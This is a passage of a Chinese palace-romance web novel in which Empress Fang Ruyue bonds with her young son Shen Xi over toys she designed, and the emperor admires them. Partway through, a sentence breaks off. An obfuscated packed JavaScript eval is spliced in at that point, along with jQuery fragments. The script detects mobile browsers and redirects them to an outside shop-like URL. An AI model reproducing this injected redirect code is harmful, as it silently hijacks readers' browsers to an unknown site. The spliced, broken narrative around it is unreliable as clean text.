沈曦的注意力被色彩鲜艳，形状有趣的图样吸引。


    他看看这张，又看看那张，小眉头微微皱着，似乎在认真思考，目光却在那套可以拼搭的积木上停留得最久，小手还在空中比划了一下。


    方如玥心中微动，温声道：“曦儿喜欢这个，是不是？娘亲让他们也给你做一套，好不好？”


    她想着，若是曦儿也喜欢，正好可以多做一套，将来二人将来或许还能一起玩。


    然而，沈曦却缓缓摇了摇头，他伸出小手指，没有指向任何一张图样，指向了方如玥，他看着母亲的眼睛，小嘴努力地张开，发出几个清晰却稚嫩的音节：“喜……喜欢娘亲。”


    不是喜欢积木，不是喜欢布球，不是喜欢任**奇有趣的玩具。


    他喜欢的，是娘亲，是娘亲的怀抱，娘亲的声音，娘亲的陪伴。


    方如玥彻底愣住了，随即，一股滚烫的热流从心脏最深处汹涌而出，瞬间淹没了她所有的思绪。


    她怔怔地看着儿子满是依恋的眼睛，看着他努力表达的样子，泪水再次毫无预兆的奔涌而出，但这一次，不再是愧疚和悲伤的泪，而是被最纯粹的爱意击中的，幸福到无以复加的泪。


    她将沈曦再次紧紧拥入怀中，抱得那样用力，仿佛要将他小小的身体融入自己的骨血里。


    “娘亲也喜欢曦儿，最喜欢曦儿了！”她语无伦次的重复着，亲吻着儿子的脸颊，“是娘亲的错，以后娘亲天天陪曦儿，好不好？给曦儿讲故事，陪曦儿玩，看曦儿长大。”


    沈曦似乎听懂了，他在母亲怀里满足地咯咯笑了起来，小手拍拍母亲的背，像是在安慰她。


    这一刻，方如玥忽然明白了许多。


    她或许永远无法成为一个在朝堂上侃侃而谈，在宫宴上周旋自如的标准皇后，她或许永远会害怕人群，怯于表达，或许在为一个孩子争取权益时，仍需借助笔墨和他人之口。


    但在母亲这个身份上，她无需任何外在的标准和认可，孩子的依恋和爱，就是对她最大的肯定。


    这份爱，如此简单，如此直接，如此有力量，足以穿透一切恐惧和阴霾，照亮她前行的路。


    她不仅仅是在保护腹中的新生命，更是在守护眼前这个已经来到她生命里，全心全意爱着她的孩子。


    韩素和金嬷嬷在外间，听着内室里传来的，母子二人低低的说话声和偶尔的笑声，相视一笑，眼中皆有欣慰。


    许久，方如玥才抱着已经有些困倦的沈曦走出来，孩子趴在她肩头，小手还抓着她一缕头发，睡得香甜。


    “嬷嬷，带曦儿去睡吧，仔细别着凉。”方如玥轻声吩咐，将孩子小心交给乳母。


    看着乳母抱着沈曦离开的背影，方如玥转过身，对韩素道：“韩夫人，那些图样，让工匠们照样制作便是，请他们多做一套，尺寸稍微调整一下，适合曦儿现在这个年纪玩的。”


    “奴婢明白。”韩素微笑颔首。


    方如玥走到窗边，看着庭院里那株含苞的杏树：“我记得库里有些柔软又结实的棉布，我想亲自动手，给曦儿再缝个小玩意儿，之前那个兔子太丑了。”


    她回头看向韩素，眼中闪着温暖的光：“画图设计，是为了未出世的孩子，但穿针引线，是给曦儿的，总得让他知道，娘亲两个都疼。”


    韩素应道：“娘娘说的是，但娘娘如今不宜过度操劳，慢慢做便是，心意最重要。”


    方如玥点点头，目光再次投向窗外。


    ……


    第一批按方如玥图样制作的玩具，是在一个明媚的午后送进凤仪宫的。


    方如玥亲自一一检视，紧绷的神色终于缓缓舒展，露出如释重负的笑意。


    她拿起一个感知球，轻轻放在身边瞪大眼睛好奇看着的沈曦怀里。


    沈曦先是小心翼翼的摸了摸，随即被那轻轻的铃声吸引，咯咯笑了起来，抱在怀里不肯撒手。


    “娘娘巧思，匠心独运，奴婢瞧着，比那些金玉之物更得小殿下喜欢呢。”金嬷嬷在一旁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120527|183622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看着，眼圈微红。


    方如玥见他这般喜欢，紧绷的心也终于落了下来。


    这日沈泽封下朝略早，刚走进庭院，便听见偏殿传来儿子清脆的笑声。


    他循声走去，掀帘而入，只见沈曦正坐在地毯上，面前摊着那本布书，方如玥斜倚在旁边的软榻上，指着书页上的小狗图案，轻声细语的说着什么。


    阳光透过窗棂，洒在母子二人身上，镀上一层温暖的光晕，那些色彩明快的玩具散落一旁，为这静谧的画面添了几分鲜活的生气。


    沈泽封缓步上前，先摸了摸儿子的头，才在方如玥身边坐下，顺手拿起几块积木在手中把玩。


    “这些便是你画的那批？”他掂了掂积木，又看了看布书，眼中露出毫不掩饰的赞许，“果然精巧，朕瞧着，比内务府往日那些死板东西强上百倍。”


    “曦儿也喜欢？”他看向正努力想把两块积木垒在一起的儿子。


    沈曦并不说话，只是朝着他笑了笑。


    方如玥点点头，唇角弯起：“曦儿整日抱着那球，布书也翻来覆去的看。”


    “陛下不觉得不合规矩便好。”


    沈泽封握住她的手，笑道：“规矩是死的，人是活的，朕的儿子，用什么玩物，朕的皇后说了算，何况，这些东西瞧着便让人觉得舒心，哪有什么不合规矩？朕看，是再好不过。”


    正说话间，**在门外轻声禀报，道是工部侍郎陈启明、户部郎中赵文远两位大人有要事求见，已候在御书房。


    因事涉今春皇陵祭祀的一笔物料采买，需陛下即刻定夺。


    沈泽封眉头微蹙，正要起身，陈启明与赵文远已得了通传，躬身趋步入内。


    二人先行大礼，起身时，目光却不约而同的被地毯上那些新奇玩具吸引了片刻。


    陈启明是个方正脸的中年人，性子向来端肃，此刻眼中却掠过一丝惊异。


    赵文远年轻些，家中恰有幼子，看得更是仔细，甚至不自觉向前微微倾身。